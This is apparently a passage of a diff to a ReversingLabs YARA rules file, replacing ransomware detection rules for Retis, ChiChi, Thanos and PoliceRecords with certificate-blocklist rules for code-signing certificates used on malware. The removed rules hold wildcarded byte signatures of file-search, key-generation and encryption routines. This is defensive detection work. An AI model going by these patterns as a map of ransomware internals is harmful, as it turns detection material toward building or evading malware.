?? 8B 48 ?? 3B 48 ?? 0F 84 ?? ?? ?? - ?? 85 C9 74 ?? 8D 41 ?? 8B 95 ?? ?? ?? ?? 89 01 8B 85 ?? ?? ?? ?? 01 C2 89 04 24 89 - 54 24 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B - 48 ?? 8B 85 ?? ?? ?? ?? 83 C1 ?? 89 48 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 39 C8 - 0F 84 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? F6 40 ?? ?? 0F 84 ?? ?? - ?? ?? 89 04 24 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC - ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 0C 24 89 44 24 ?? 8B 8D ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? EB - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $enum_resources_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Certified Software" and pe.signatures [ i ] . serial == "0a:c5:ac:5d:32:31:22:e6:d8:e9:2d:6e:19:1b:14:32" and 1140134400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Retis : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_2433D9Df7Efbccb870Ee5904D62A0101 : INFO FILE { meta: - description = "Yara rule that detects Retis ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3d1de7c2-abb7-5411-a598-6bc68229a22a" - date = "2021-08-12" - modified = "2021-08-12" + id = "6cd46771-06ea-51c9-ad84-4b28f4f8442b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Retis.yara#L1-L74" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13930-L13946" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3e3429041acc5730b009916efbcd35c7cfd2b2877dc1d2cf980f7fb7d399d532" + logic_hash = "92a2effe1b94345f52130e4cb1db181f1990e58eaefb9c74375c14249cc1be22" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Retis" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_files = { - 00 00 04 6F ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 0C 00 08 28 ?? ?? ?? ?? - 0A 72 ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 03 6F ?? ?? ?? - ?? 0D 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 06 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? - ?? 17 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? - 12 ?? 28 ?? ?? ?? ?? 13 07 00 11 ?? 73 ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 16 FE - ?? 13 ?? 11 ?? 2C ?? 00 02 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ?? 28 ?? ?? ?? ?? - 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? - ?? 00 00 2B ?? 00 1F ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? - ?? 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 00 12 ?? - 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 DE - ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? - 6F ?? ?? ?? ?? 00 DC 00 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? - ?? 6F ?? ?? ?? ?? 00 DC 2A - } - $search_drives = { - 00 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 00 06 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 - 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 07 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? - ?? 6F ?? ?? ?? ?? 00 00 00 09 17 58 0D 09 08 8E 69 32 ?? 07 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 26 00 07 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? - 13 ?? 00 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 00 03 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? - 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 00 11 ?? 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? - ?? 17 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? - 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 02 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ?? - 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 11 ?? 6F - ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE ?? - ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? - ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 12 ?? - 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 - DC 2A - } - $encrypt_files = { - 00 03 19 17 73 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 0B 06 07 - 16 07 8E 69 6F ?? ?? ?? ?? 26 06 6F ?? ?? ?? ?? 00 03 18 18 73 ?? ?? ?? ?? - 0C 73 ?? ?? ?? ?? 0D 09 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F - ?? ?? ?? ?? 00 09 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? - ?? ?? 00 09 6F ?? ?? ?? ?? 13 ?? 08 11 ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 07 - 16 07 8E 69 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 - 03 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $search_files and $search_drives and $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Conpavi AG" and pe.signatures [ i ] . serial == "24:33:d9:df:7e:fb:cc:b8:70:ee:59:04:d6:2a:01:01" and 1322438400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Chichi : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_462Baada57570F70Df76D10B9E7Bf2B7 : INFO FILE { meta: - description = "Yara rule that detects ChiChi ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "95062789-a55d-5c1c-a359-206b58f311e5" - date = "2022-02-14" - modified = "2022-02-14" + id = "2863a050-ebce-5322-b64a-9160adf6cc21" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.ChiChi.yara#L1-L66" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13948-L13964" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "863a30e4c708e13ea0f4c6ad42a919de463926508783d6552c0cec746730baa5" + logic_hash = "c48207907339ce3fb7b6bc630097761a24495a9d4e69d421f2bdb36ddc92abcb" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "ChiChi" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $generate_key = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ?? - 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 8B 7D ?? C7 45 ?? ?? ?? ?? ?? 89 7D ?? 85 - FF 75 ?? 33 F6 EB ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 89 75 ?? 6A ?? 8D 4D ?? C7 45 - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 8D - 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? 85 C0 74 - ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 03 8B CB 57 56 FF 50 ?? C7 45 ?? ?? ?? ?? ?? 85 F6 - 74 ?? 83 FF ?? 8D 45 ?? 8D 4D ?? 8B FE 0F 46 C8 32 C0 56 8B 09 F3 AA E8 ?? ?? ?? ?? - 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2 - } - $encrypt_files = { - 55 8B EC 51 53 56 57 8B D9 68 ?? ?? ?? ?? 53 89 5D ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? - ?? ?? 53 FF D6 68 ?? ?? ?? ?? 8B F8 FF D6 8B 1D ?? ?? ?? ?? 03 F8 03 FF 83 C7 ?? 57 - 6A ?? FF 35 ?? ?? ?? ?? FF D3 8B F0 85 F6 74 ?? 8B 7D ?? 57 56 FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5B - 8B E5 5D C3 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? - ?? 56 6A ?? FF 35 ?? ?? ?? ?? 8B F8 FF 15 ?? ?? ?? ?? 83 FF ?? 74 ?? 8B CF E8 ?? ?? - ?? ?? 5F 5E 5B 8B E5 5D C3 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 - } - $find_files = { - 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 56 FF 15 ?? - ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF - D7 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 - ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 33 F6 FF B6 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 72 ?? FF 74 24 ?? 8B 74 24 ?? - 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 FF 15 ?? - ?? ?? ?? F6 44 24 ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? - ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 E8 ?? 78 ?? 66 83 - 7C 44 ?? ?? 74 ?? 83 E8 ?? 79 ?? EB ?? 8D 74 24 ?? 8D 34 46 68 ?? ?? ?? ?? 56 FF 15 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $generate_key ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DVERI FADO, TOV" and pe.signatures [ i ] . serial == "46:2b:aa:da:57:57:0f:70:df:76:d1:0b:9e:7b:f2:b7" and 1551744000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Thanos : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_83320D93Dd8Cf16D11F99B1078B0A7Cb : INFO FILE { meta: - description = "Yara rule that detects Thanos ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e607255d-45a6-573d-956e-f6faa2aa7e9f" - date = "2021-08-12" - modified = "2021-08-12" + id = "12ce9be9-4644-5b59-aed2-ce4b04fcc46a" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Thanos.yara#L1-L106" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13966-L13984" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f6bc0c2188a04d2fb2a82a6b6d6cdf7763c32047bec725fe07f01415edf0b4cd" + logic_hash = "94ec5e05357767cc0c4cd1fc8ff6d1a366359ba699c43f3710204d761e7e707f" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Thanos" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? DD - ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 6C 7E ?? ?? ?? ?? - 28 ?? ?? ?? ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 35 ?? 7E ?? - ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 - 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ?? - ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 - 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 00 11 - ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11 - ?? 6F ?? ?? ?? ?? 00 DC 00 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 - ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0D 00 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D - ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? - ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F - } - $find_files_p2 = { - 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? 38 ?? ?? ?? ?? 00 00 09 72 ?? ?? ?? - ?? 17 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0C 00 00 - 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? - ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ?? - 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F ?? ?? - ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A - } - $find_files_p3 = { - 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? - ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 6F - ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 00 6F - ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? - ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 08 6F ?? ?? ?? ?? 72 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 00 13 ?? 11 ?? 2D ?? DD ?? ?? ?? ?? 08 6F ?? ?? - ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 6C 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 23 ?? ?? - ?? ?? ?? ?? ?? ?? 5A 23 ?? ?? ?? ?? ?? ?? ?? ?? 5A 35 ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 6F ?? ?? ?? ?? 6F ?? ?? - ?? ?? 00 00 2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 06 08 6F ?? ?? ?? ?? 6F ?? ?? - ?? ?? 00 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? - 11 ?? 3A ?? ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 DC - 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? - ?? ?? ?? DE ?? 11 ?? 14 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 00 00 DE ?? - 26 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 26 00 00 DE ?? 00 06 13 ?? 2B ?? 11 ?? 2A - } - $encrypt_files = { - 73 ?? ?? ?? ?? 13 ?? 11 ?? 03 7D ?? ?? ?? ?? 11 ?? 04 7D ?? ?? ?? ?? 11 ?? 05 7D ?? ?? - ?? ?? 11 ?? 0E ?? 7D ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? - 80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 28 - ?? ?? ?? ?? 0A 06 8E 69 16 FE 02 16 FE 01 13 ?? 11 ?? 2D ?? 00 16 0B 2B ?? 00 06 07 9A - 6F ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 06 07 9A 6F ?? ?? ?? ?? 6F - ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 06 07 9A 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? - 00 00 00 00 07 17 58 0B 07 06 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 00 2B ?? 00 16 0B 2B ?? - 00 7E ?? ?? ?? ?? 02 07 9A 6F ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 02 07 9A - 6F ?? ?? ?? ?? 00 00 00 07 17 58 0B 07 02 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? - ?? 72 ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 16 FE 01 2B ?? 17 00 13 ?? 11 ?? 2D ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 00 6F ?? ?? ?? - ?? 26 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 14 0D 73 ?? ?? ?? ?? 13 - ?? 11 ?? 11 ?? 7D ?? ?? ?? ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 00 7E ?? ?? ?? - ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2D ?? 00 09 2D ?? 11 ?? FE 06 ?? - ?? ?? ?? 73 ?? ?? ?? ?? 0D 2B ?? 09 73 ?? ?? ?? ?? 0C 08 1A 6F ?? ?? ?? ?? 00 08 16 6F - ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00 2B ?? 00 11 ?? 7B ?? ?? ?? - ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? - 28 ?? ?? ?? ?? 00 00 00 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE - 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 00 2A - } - $remote_connection = { - 00 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 19 6F ?? ?? ?? ?? - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 02 28 ?? ?? ?? ?? 06 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 06 28 ?? ?? ?? ?? 0C DE ?? 26 00 00 DE ?? 00 7E ?? - ?? ?? ?? 0C 2B ?? 00 08 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRANS LTD" and ( pe.signatures [ i ] . serial == "00:83:32:0d:93:dd:8c:f1:6d:11:f9:9b:10:78:b0:a7:cb" or pe.signatures [ i ] . serial == "83:32:0d:93:dd:8c:f1:6d:11:f9:9b:10:78:b0:a7:cb" ) and 1524614400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Policerecords : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_10Bae1D20Cb4Cc36A0Ffac86 : INFO FILE { meta: - description = "Yara rule that detects PoliceRecords ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bacd3f98-a069-58ca-8423-01fcef7d4062" - date = "2022-08-02" - modified = "2022-08-02" + id = "a07d1c35-0026-526a-bf08-e6b07008da03" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.PoliceRecords.yara#L1-L79" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13986-L14002" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "55cb1a5d030c47abb1a9ca9970fb19b3124128e409bc9515c173c33b2bb49a16" + logic_hash = "44e91fbf4da8e81859a21408ee9f1971f1e8f48d22553fcaa6469156d4a0670b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "PoliceRecords" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 00 72 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 06 6F ?? ?? ?? ?? 0C 04 0D 09 18 73 ?? ?? ?? - ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 08 08 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? - 03 19 73 ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 11 ?? D2 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? - 25 13 ?? 15 FE 01 16 FE 01 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? - ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 2A - } - $find_files = { - 11 ?? 11 ?? 9A 13 ?? 00 00 07 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 00 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 00 11 ?? 17 58 13 